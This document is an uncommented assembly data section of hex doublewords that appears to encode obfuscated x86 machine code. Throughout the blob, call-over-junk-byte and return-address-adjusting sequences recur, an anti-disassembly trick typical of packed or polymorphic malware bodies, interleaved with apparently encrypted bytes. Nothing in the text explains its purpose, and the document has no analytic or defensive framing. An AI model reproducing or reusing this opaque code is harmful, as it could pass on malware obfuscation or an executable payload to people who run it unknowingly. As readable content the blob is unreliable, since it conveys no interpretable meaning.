		dd 480D3DB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0E4639894h, 8B664F17h, 0D995FFFBh
		dd 0E9064810h, 14Ah, 14B98529h,	12E80648h, 3E000000h, 0B142D8E5h
		dd 7E5E2060h, 86951D98h, 5E3B1B99h, 6840FE7h, 31000000h
		dd 48099D85h, 0B05B06h,	0CE59589h, 9D8B0648h, 6481549h
		dd 0B70F70E6h, 5171E4DEh, 159D2960h, 8106480Dh,	470246E1h
		dd 3C5B6113h, 0F3830F61h, 0BF000000h, 3143C1A3h, 0F9C8B60Fh
		dd 13119D8Bh, 6BA0648h,	8B000000h, 5D8509C1h, 0C1064811h
		dd 8B6604E8h, 66F98BD8h, 12E9E2F7h, 83000000h, 0C9C1E27h
		dd 0AD8A1062h, 0D9B563B7h, 531F6381h, 60C82BFBh, 0FE9h
		dd 0AE2A2400h, 3C1EC7E1h, 0B364691h, 8D8CABC4h,	61FFB70Fh
		dd 8A0FD18Bh, 1, 3E9F5h, 0BF0F0000h, 71858BFEh,	83064817h
		dd 880F07C0h, 6, 7518D89h, 0C0830648h, 0D88B6600h, 830FD03Bh
		dd 20h,	13E9h, 0A943F700h, 0E5106324h, 0E30F1DBAh, 9BA1F543h
		dd 11A84CD1h, 49E9h, 0F9BF0F00h, 12B58D8Bh, 8D0F0648h
		dd 6, 29918D89h, 9D8B0648h, 6483175h, 0F01E183h, 2584h
		dd 83D7B300h, 4812B5A5h, 8157FE06h, 5CA90BE7h, 95895B5Ah
		dd 6481771h, 3890Fh, 8B660000h,	0E9D9h,	0B58D0000h, 64BFC48h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 55C35343h
		dd 66F371EEh, 6A8DD5BBh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 5BB830B4h, 8D893911h
		dd 6482BB9h, 92D95FFh, 0DA8B0648h, 74AB9h, 0FAF38100h
		dd 830A634Eh, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0E7D7A6C3h, 6AFCF8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 738C71C3h
		dd 89C02B82h, 480B8995h, 0BA06h, 9D8B0000h, 64814A5h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0F8C35646h, 6BDB0B6Bh, 3175AA4Ch, 8E940h
		dd 8AC30000h, 0DADB2C7Eh, 6A3A07h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0C3E836C3h, 0D8B70F99h
		dd 880Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 9D8B60E3h, 6482AADh, 61C28B66h, 1405958Bh
		dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 4F6285C3h, 0C06C3596h, 0E923BDE8h, 0Bh, 0F54A1919h
		dd 0D91B47A2h, 8BC77D3Fh, 4830258Dh, 38A0F06h, 0F000000h
		dd 0B70FFFBFh, 0C28B50FEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 8B58188Bh, 48075D9Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 3ABC9867h, 0FDBD83B0h
		dd 64812h, 80840Fh, 11E90000h, 0BB000000h, 97AA260Eh, 9864F812h
		dd 0CBEA6513h, 1EF8BCF6h, 0B8h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 8D8D8A7Fh
		dd 6484E80h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	28C35747h, 0BCA79A00h, 6AE093Bh, 7AEB81FEh, 0FF5F0397h
		dd 9E8E1h, 283A0000h, 0E6AA9F0Dh, 8980AE1Bh, 4817F5B5h
		dd 0BD835F06h, 6482AD9h, 57840F00h, 8B000004h, 481CD9BDh
		dd 0D9BD8306h, 106482Ah, 45F840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 42F679C3h
		dd 645213AFh, 3170C56Ah, 48233D85h, 0D9BD8306h,	306482Ah
		dd 3F1860Fh, 0BA600000h, 31472008h, 0DE99589h, 60610648h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 6EC35747h
		dd 665387EBh, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 279755C3h, 0D3E278E2h, 0E180C5FDh
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 423107F7h, 0A863550h, 38840FC9h,	66000001h
		dd 858BFE8Bh, 6481159h,	0E7E38166h, 19853310h, 6A064812h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 6D9CC353h, 4BF21650h, 0B800F50h, 0E9000000h
		dd 6, 0A00700EBh, 4894341h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 66EDE02Bh
		dd 8A8CE781h, 820F006Ah, 27h, 0BE8h, 4332AC00h,	0CD26CBBAh
		dd 1DA3F827h, 11E9h, 9F0C0700h,	78A008D3h, 3F6C3AD0h, 0B997D716h
		dd 685BC72Eh, 0F0F2F41Ch, 8A6D61BFh, 24048148h,	0F2C0FE3h
		dd 9F1BD29h, 95FF0648h,	6480741h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 28C35646h, 3681C292h, 0F7985ECh
		dd 680h, 39B58900h, 89064810h, 4BB68985h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 0BC5EEEF8h, 0E976EE00h, 19Eh, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 15h, 55C35040h, 9B52904h, 8B064817h
		dd 4BB68185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0EBE03900h, 23FE8B66h, 481AED9Dh
		dd 1800C706h, 8B000000h, 4BB685B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0C858949Dh
		dd 899422F9h, 4826C995h, 85858B06h, 0E906481Ah,	6, 0C739F192h
		dd 8D89DEE6h, 6481289h,	6A0689h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0CB1E7CC3h, 858BFE8Ah
		dd 6481159h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0ABC35646h, 0C5923D1Bh,	50D648E8h, 0DD9D89F9h
		dd 8906480Dh, 0BF0F0446h, 7AB796DBh, 13E89650h,	33000000h
		dd 3FDE65BFh, 863A02E8h, 0D64CB7F0h, 1A0EA74Ch,	0FF5BADF6h
		dd 4BB681B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8B14E402h, 4802299Dh, 66C36806h
		dd 0DF8BDC8Ch, 3C240481h, 8023929Dh, 858D96EBh,	64BB689h
		dd 0DA59D2Bh, 0BF900648h, 923D37Fh, 903DB750h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C8C35646h, 7FB9769Ch
		dd 61ADA432h, 21CDBBBAh, 95FF7698h, 6480741h
		dd 7862C381h, 0BB66165Ch, 6A619434h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 6600C357h
		dd 8B304ABFh, 480F299Dh, 7E906h, 31EC0000h, 61B9B0B9h
		dd 0D985C70Eh, 306482Ah, 0E9000000h, 8,	0A77D5FC5h, 0A9C47159h
		dd 0B689BD83h, 0F00064Bh, 6684h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0AE8BD6Eh
		dd 4C000000h, 0D2D8D54Ch, 0E6AD53B9h, 5DBD8904h, 5F064832h
		dd 49E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0CE9E0E8h, 76000000h, 0A3E9F1E2h
		dd 0A3DCEADCh, 500DD061h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 840FC08Bh, 1, 0EE9F5h, 1E4B0000h
		dd 8E93BD98h, 30F667DCh, 3F43CD8Ah, 2AD9BD83h, 0F030648h
		dd 3EC85h, 0D7816600h, 0BD8383ACh, 64BB689h, 0DA840F00h
		dd 0F000003h, 0B5FFFEB7h, 64BB689h, 13E957h, 0DD320000h
		dd 470FA121h, 23803EBEh, 361C89B7h, 0B882B891h,	95FF5B1Dh
		dd 64809F5h, 8BFAB70Fh,	4BB67DB5h, 0F58D2906h, 0C7064804h
		dd 1000106h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 5009BC5Dh, 19820F60h, 0E9000000h
		dd 14h,	4F3C7CC2h, 258C6340h, 3679F764h, 6608E914h, 3F512E1Bh
		dd 12A359BAh, 3489615Ah, 6880F24h, 2B000000h, 4815759Dh
		dd 89B5FF06h, 66064BB6h, 95FFFE8Bh, 6480061h, 27A5BD8Bh
		dd 0B58B0648h, 64BB67Dh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 17h, 9C35545h, 8B5FD72Eh, 4814499Dh, 25858B06h
		dd 6A06480Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 3E86C352h, 665FDD98h, 892A2ABBh
		dd 480B2985h, 0C4868906h, 33000000h, 481CD1BDh,	5958B06h
		dd 89064814h, 480A81BDh, 4C28306h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0B0C35747h,	0E94841D7h, 66A9A324h
		dd 5089DA8Bh, 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 5E9D090h,	0BD000000h, 0FB1E6CEBh
		dd 0CAD4858Dh, 6A064Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BB66F7C3h, 8689EC68h, 0B8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0DDC35747h, 5BB66B6h
		dd 6A006A7Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 6382C355h, 0B689B5FFh,	6A064Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 9FF873C3h, 0EF816FEFh, 0F961EAFh, 5195FFh, 6A0648h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 71F74CC3h, 9589133Ah, 64823B5h, 22959D33h, 0F960648h
		dd 88h,	0BF665000h, 6A96D62Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0C441C357h,	397A66F9h
		dd 0B689B5FFh, 0BF66064Bh, 95FF8D55h, 6481429h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 1CC35545h, 0E2FF921Fh
		dd 0BD833AE0h, 64831A9h, 1F840F00h, 81000000h, 54FE69D3h
		dd 0D5BF9625h, 50028D8Dh, 72CA58BBh, 8B0F963Bh,	6, 1309BD8Bh
		dd 0B5FF0648h, 64BB689h, 0FFDAB70Fh, 4813FD95h,	3D9D2B06h
		dd 0FF064820h, 4BB689B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0AC0D8FB0h
		dd 95FFF1A3h, 648177Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 76C35343h, 0AD938AB6h, 0F38CF26h, 684h
		dd 0E99D8B00h, 2B064828h, 4807D9BDh, 1DBD8306h,	206482Fh
		dd 84840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0F79EAC3h, 858BF8B7h, 6481551h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0AFC35646h
		dd 8531B773h, 64831FDh,	8E8h, 87C61300h, 10CB5C84h, 68D0FBDh
		dd 81000000h, 0DDC9EFDFh, 0C65F5Dh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 85C7F2D3h
		dd 64816E1h, 0
		dd 32F07CBFh, 0F353E96Bh, 8D29FFFFh, 648047Dh, 8B66C18Bh
		dd 55858DFEh, 80064812h, 0E990FEC7h, 14h, 8390887Ah, 0BD750EA8h
		dd 82561B6Eh, 0BC1CEF36h, 0E37FF0DEh, 9E850h, 0A8E90000h
		dd 4BD37024h, 0F4ACF68h, 281h, 5B5F5000h, 0DF816690h, 6A7D07h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0A7C35343h
		dd 6AD98BCBh, 5E800h, 38FE0000h, 818C84B7h, 0AB2924D3h
		dd 858D5B36h, 64C840Dh,	4751D381h, 0C0834D45h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 906B57B8h, 35B75250h, 585A310Fh, 0DE950h, 8DA80000h
		dd 0EBC1B9D0h, 0DD71F070h, 903C9D7Eh, 0F119D8Bh, 6A0648h
		dd 611BD09h, 6A0648h, 0EFDF8166h, 2D95FF60h, 5106482Bh
		dd 2F45BD89h, 8D5B0648h, 4B99388Dh, 959D8B06h, 0FF064812h
		dd 6840FD1h, 89000000h,	48047D85h, 0E5BD8306h, 1064830h
		dd 84850Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 160424h, 55450000h, 53DC3AC3h, 6A026Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 4C30E8C3h
		dd 0F24B6D79h, 47B7906Eh, 90F98B50h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 54C35646h, 0FF3125C3h, 48005195h
		dd 0F7816606h, 5E87400h, 8A000000h, 517DF90Dh, 0FDD38166h
		dd 15E95B35h, 0E800000Eh, 0
		dd 17ED815Dh, 6A064C84h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 7427C351h, 82525936h
		dd 7A59589h, 95310648h,	648312Dh, 93DA858Dh, 0BD8B064Bh
		dd 6482339h, 0DE950h, 0DCCB0000h, 441D41B2h, 0B5526A9Bh
		dd 8954A652h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 94F719C3h, 5260B0CAh, 805F5951h
		dd 6461A7F3h, 35FFh, 81660000h,	8BC8D0F7h, 4829399Dh, 25896406h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 76C35040h
		dd 8D0F2A63h, 6, 203D9509h, 85FF0648h, 6481AD1h, 32699D89h
		dd 0FF6A0648h, 0D55B529h, 0B5FF0648h, 6480915h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2AC35141h, 1EC7E1AEh
		dd 3646913Ch, 0AE8h, 55C34400h,	0B07DBEA4h, 6635693Dh
		dd 4270CF81h, 0D995FF5Bh, 0E9064810h, 131h, 8F0Fh, 0B00000h
		dd 0B0D9D8Bh, 70E60648h, 1B05BB66h, 68F0F60h, 0F000000h
		dd 85h,	95896000h, 6482401h, 22898531h,	61610648h, 0B70F71E4h
		dd 0F613CD9h, 0F483h, 319D8B00h, 0F06482Ah, 9D8BC8B6h
		dd 64814F5h, 6BAh, 8BBBB300h, 0D19D0BC1h, 0C1064827h, 850104E8h
		dd 64811C9h, 0FE2F766h,	68Dh, 219D8B00h, 6606482Fh, 0B08AF381h
		dd 8C0FC82Bh, 0Ch, 850F60h, 66000000h, 61B5AAB8h, 8960D18Bh
		dd 480E2195h, 5D958B06h, 61064806h, 6E9h, 759D2B00h, 8B064814h
		dd 4811E985h, 62B4BF06h, 0C08370EEh, 0E99D3307h, 8306480Ch
		dd 958900C0h, 6481695h,	830FD03Bh, 11h,	294DBD2Bh, 5AE90648h
		dd 8B000000h, 4819D5BDh, 658D8B06h, 66064829h, 8B6E36BBh
		dd 48161DBDh, 1E18306h,	3B840Fh, 0D7810000h, 78334C2h
		dd 0A583FB8Bh, 6482965h, 11E9FEh, 78A20000h, 0DEE71D22h
		dd 0B1FE4B09h, 0B2CE69C4h, 57FA600Bh, 2FAD9D33h, 895F0648h
		dd 4811E995h, 0DE8B6606h, 0E9h,	5FB58D00h, 0E9064C05h
		dd 0Dh,	17B8ACD4h, 48F9FEC3h, 7172BD31h, 8B006A2Fh, 2D95FFFEh
		dd 8B064809h, 7A5B9DAh,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0E183CFC3h, 0FCBCB3FCh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 8BC35040h
		dd 0BABB48B3h, 9B58DD93h, 0B8h,	0E7816600h, 0BA1300h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0A576C350h, 3E6F9F78h, 19BF6647h,	0C233AD87h
		dd 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0F8BBDFFDh
		dd 0F2ACA7Ch, 890FFBB7h, 6, 29F19589h, 0B70F0648h, 880DFAh
		dd 8B660000h, 5958BFBh,	6A064814h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5330C356h
		dd 0BB66647Ah, 8D8B56ECh, 6483025h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0E0C35242h,	0DD07536Bh, 5C375724h
		dd 0FAB70F4Ch, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 229FD5C3h, 0BDF3478Ah, 10E8600Ch,	0D5000000h
		dd 0A3D9A7FDh, 5C7ADB0Ch, 0B1A725E1h, 580D3AD3h, 6860Fh
		dd 880F0000h, 0
		dd 51006A61h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 60F98B02h, 0C6816660h, 8B665E1Eh, 0F68061DFh
		dd 0BD8361A2h, 64812FDh, 92840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 3361C357h, 0F4C4B6E8h, 0B8EEE48Ch, 0
		dd 85895251h, 6481AC5h,	0BD8B5F5Bh, 6482905h, 4E808D8Dh
		dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0B318EC3h, 8F9C8FD9h, 1335BD8Bh, 0E1FF0648h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0CC35646h
		dd 8E9h, 58DBBA00h, 25079B9h, 0D9BD8392h, 6482Ah, 444840Fh
		dd 0BD830000h, 6482AD9h, 52840F01h, 0BF000004h,	76A68DB7h
		dd 184CF2BFh, 0D9BD833Fh, 306482Ah, 405860Fh, 0BF0F0000h
		dd 6A60FBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 12EB5BC3h, 8C66E4E4h, 51006AD9h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 1A681030h
		dd 65C956C0h, 0B59D8B78h, 80064823h, 6A04E1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 6A8ABC3h
		dd 1E38166h, 0FC90A88h,	12984h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0F60CEF1h
		dd 68Fh, 0C5858900h, 8A06482Ah,	858B61F1h, 6481159h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 53C35141h, 0DD24337Dh
		dd 33137D73h, 48121985h, 1880F06h, 0F9000000h, 0D406C381h
		dd 60905859h, 8E8h, 0A1E90F00h,	9AF91047h, 3AB86636h, 6E95B15h
		dd 0EC000000h, 952C20DEh, 6650611Fh, 6A90FE8Bh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0DAE7C356h, 0F581F3EBh, 50BD2DBFh, 18EB8057h, 9D01006Ah
		dd 6481851h, 0FE7E7568h, 28F0F77h, 0B7000000h, 24348185h
		dd 77E17D8Ah, 9198589h,	95FF0648h, 6480741h, 12918529h
		dd 85890648h, 64BB689h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 3BC35747h, 14E9h, 262E5600h, 2E599ACAh
		dd 0CA7C70A7h, 597D3108h, 635C1C8Fh, 1C0E948h, 0BB660000h
		dd 858B48CCh, 64BB681h,	31699D89h, 0C70648h, 18h, 0CF5BD89h
		dd 0B58B0648h, 64BB685h, 21BD8Bh, 858B0648h, 6481A85h
		dd 6850Fh, 0BD8B0000h, 6481B35h, 6A0689h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 4C13B1C3h
		dd 62B365D2h, 59858B7Dh, 6A064811h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0CB36C353h
		dd 0B45C3F72h, 719D8BCDh, 8906480Ah, 9D8B0446h,	6482F51h
		dd 0E8536096h, 8, 0B6FD2BEh, 38673E8Fh,	0CB8B5A5Eh, 13E95061h
		dd 15000000h, 0B9188CC8h, 23CCE8B9h, 0CF5C2823h, 49F7B41Eh
		dd 89966C7Bh, 480BB9B5h, 81B5FF06h, 60064BB6h, 29FE8B66h
		dd 482C4185h, 81666106h, 0E8FE04C7h, 4,	1F03FFh, 0EA50DCBFh
		dd 8B66502Fh, 24448BDFh, 52505104h, 4FB3310Fh, 8B5B585Ah
		dd 0E8525000h, 5, 2AD55634h, 5BDE8B95h,	0D2BB310Fh, 5A1C8FCAh
		dd 24448958h, 880F04h, 58000000h, 5E9h,	62020000h, 858DC5F6h
		dd 64BB689h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	2CC35545h, 905B53F8h, 8E8h, 9A314F00h, 0ECA0BC7Eh
		dd 0E952504Fh, 0Ah, 0E98FCC74h,	79867521h, 310F3257h, 7E8h
		dd 0F440100h, 812F3720h, 5B585A5Fh, 0FD8A5250h,	95FF905Fh
		dd 6480741h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	49C35141h, 4D06CFD4h, 9E9h, 0C3848C00h,	6803B15h
		dd 6A61A068h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0C344C355h, 30C1BD8Bh,	85C70648h
		dd 6482AD9h, 3,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	6CC35545h, 0B689BD83h, 0F00064Bh, 4A84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 246D881Dh, 41E9h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0D02ADD7h, 0E59D3181h
		dd 50064827h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 5D8986C3h, 26B7CA75h, 8BB353B1h
		dd 319D8B5Bh, 83064808h, 482AD9BDh, 850F0306h, 41Dh, 0B689BD83h
		dd 0F00064Bh, 41084h, 0E59D2B00h, 0FF06480Bh, 4BB689B5h
		dd 13E806h, 13940000h, 794B2E1h, 0A4F5DC84h, 8C159A5Eh
		dd 13866F57h, 12E9DBh, 0EFA20000h, 0DA3B5748h, 438285E7h
		dd 0CA0D95CAh, 7629243Fh, 0F781605Fh, 684E6276h, 2E61B58Bh
		dd 0FF610648h, 4809F595h, 11E906h, 0D6A0000h, 999BE9D9h
		dd 0C075B326h, 0F78D595Bh, 8B1312A8h, 4BB67DB5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0D9259B15h, 106C7h, 6A0001h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 817D29C3h, 28EBD95Fh
		dd 664BF174h, 5096DE8Bh, 0BE666052h, 6160E1AEh,	5A310F61h
		dd 0D88A5058h, 0B9950196h, 0FF064817h, 4BB689B5h, 95FFF906h
		dd 6480061h, 68C0Fh, 0CF810000h, 2439E7A7h, 127DBD29h
		dd 0B58B0648h, 64BB67Dh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 10C35545h, 1CAABD99h,	0FA85CFA9h, 0E800F95h
		dd 60000000h, 32A99533h, 95310648h, 6481751h, 25858B61h
		dd 8B06480Fh, 4827419Dh, 0C4868906h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 1C5DC356h, 0C40FA8CAh, 8B8F7E3Fh, 48140595h,	7DBD8B06h
		dd 83064800h, 0BD3304C2h, 6481601h, 6A205089h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0A94FC356h, 0A85B4148h, 0BD8B8896h, 6480D09h, 0CAD4858Dh
		dd 8B66064Bh, 0B88689F8h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0DE12C350h
		dd 85176A4Eh, 0E3242972h, 705E2EBFh, 0B5896016h, 6480221h
		dd 14E9h, 83E8F600h, 6B18FE80h,	6020C2EBh, 2E0DB1B9h, 0D60DE9D3h
		dd 6A6143h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 16h,	84C35040h, 0B5FF5601h, 64BB689h, 18159D8Bh, 95FF0648h
		dd 6480051h, 0D698529h,	0BF500648h, 454FD357h, 6A243489h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 7038C353h, 673D007h, 85097029h, 6481AD5h
		dd 0E344EF81h, 0B5FF4CEFh, 64BB689h, 6870Fh, 0B5890000h
		dd 6480B29h, 142995FFh,	8B660648h, 0A9BD83D9h, 64831h
		dd 47840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 170424h, 57470000h, 1A14C9C3h, 0BEEF81D4h, 0BB6CA983h
		dd 71C728DEh, 503AB796h
		dd 0F96A0B7h, 0A81h, 48F0F00h, 66000000h, 890961BFh, 482F858Dh
		dd 89B5FF06h, 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 6DFDC352h, 0B275B587h
		dd 0AB8A7EC0h, 8B0CE780h, 48003D9Dh, 0FD95FF06h, 0BF064813h
		dd 0D1B68C6h, 0B689B5FFh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 75BF43C3h, 0BA70D534h
		dd 0D58D89FAh, 0FF064819h, 48177D95h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 517EAB9h, 9D8BC501h,	6481181h, 2F1DBD83h, 0F020648h
		dd 3B84h, 1DBD8B00h, 8B064812h,	48155185h, 69B52906h, 0C6064812h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 2C5C17C3h, 66E85691h, 3533DB81h, 16E185C7h
		dd 648h, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 1A0424h, 50400000h, 0AEF0A7C3h, 4D811B8Fh, 0FE8h, 17B4C00h
		dd 0A9A09F63h, 35E70A6Bh, 7B9E0E03h, 1AD5BD8Bh,	8B5F0648h
		dd 4829BDBDh, 0F330E906h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0CBEA65C3h, 1EF8BCF6h
		dd 0E90CC76Fh, 13h, 0D1EF6128h,	3D139038h, 5A1A1A5Ah, 0EEC71F1h
		dd 8BB11F51h, 480A799Dh, 6AC18B06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 49CEC356h
		dd 14020A3Ch, 58B0FC5h,	66000000h, 613F381h, 1255858Dh
		dd 81660648h, 900ED1F3h, 50DA8B66h, 90FA8B66h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F4C35141h, 6A853A9Bh
